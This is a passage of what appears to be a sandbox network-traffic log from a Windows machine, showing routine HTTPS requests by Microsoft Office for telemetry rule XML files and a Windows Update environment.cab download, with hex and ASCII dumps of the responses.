2024-11-26 12:43:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:39 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124339Z-174f7845968swgbqhC1EWRmnb40000000vk0000000008mgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:41 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124341Z-174f78459688l8rvhC1EWRtzr000000007y000000000av31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:42 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:41 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:41 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124341Z-174f78459685726chC1EWRsnbg0000000vc000000000c0g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:42 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:41 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124341Z-174f7845968qj8jrhC1EWRh41s0000000vfg0000000018pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:41 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:42 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124342Z-174f7845968nxc96hC1EWRspw80000000v4g0000000095cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:42 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:42 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124342Z-174f7845968xlwnmhC1EWR0sv80000000v70000000009rq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:42 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49759	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:43 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cYSWKApBAAmNCwl&MD=lahYyaWK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 12:43:43 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4e010d20-f9be-4f8e-bf41-17483bf7fa75 MS-RequestId: 0e549c71-81c0-45db-92ae-5efb584df5fc MS-CV: w/2TusrRZ0y18TiR.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 12:43:42 GMT Connection: close Content-Length: 24490
2024-11-26 12:43:43 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 12:43:43 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:43 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:44 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124344Z-174f7845968frfdmhC1EWRxxbw0000000vfg000000007rme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:44 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:43 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124344Z-174f78459684bddphC1EWRbht40000000v3000000000aymk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:43 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124344Z-174f7845968j6t2phC1EWRcfe80000000vp00000000049dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:44 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:44 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124344Z-174f7845968swgbqhC1EWRmnb40000000vn00000000069y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
